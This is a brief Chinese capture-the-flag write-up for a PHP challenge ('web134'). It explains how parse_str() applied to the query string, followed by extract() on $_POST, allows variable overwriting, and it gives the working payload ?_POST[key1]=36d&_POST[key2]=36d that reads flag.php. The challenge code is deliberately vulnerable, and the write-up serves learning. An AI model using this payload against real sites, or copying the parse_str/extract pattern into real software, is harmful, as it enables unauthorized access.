web134笔记(parse_str()函数和extract()函数)
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-14 23:01:06 */ highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
看到parse_str()函数和extract()函数,可以看得出是变量覆盖,这两个函数前面的题都讲过了,我们再简单讲一下流程
parse_str():把查询字符串解析到变量中
extract():函数从数组中将变量导⼊到当前的符号表
$_SERVER['QUERY_STRING']:web127
parse_str($_SERVER['QUERY_STRING']); var_dump($_POST);
先会以数组来输出,然后extract就成了正常的传参
如果我们传入?_POST[a]=dotast,就会输出array(1) { ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast
所以payload为
?_POST[key1]=36d&_POST[key2]=36d

浙公网安备 33010602011771号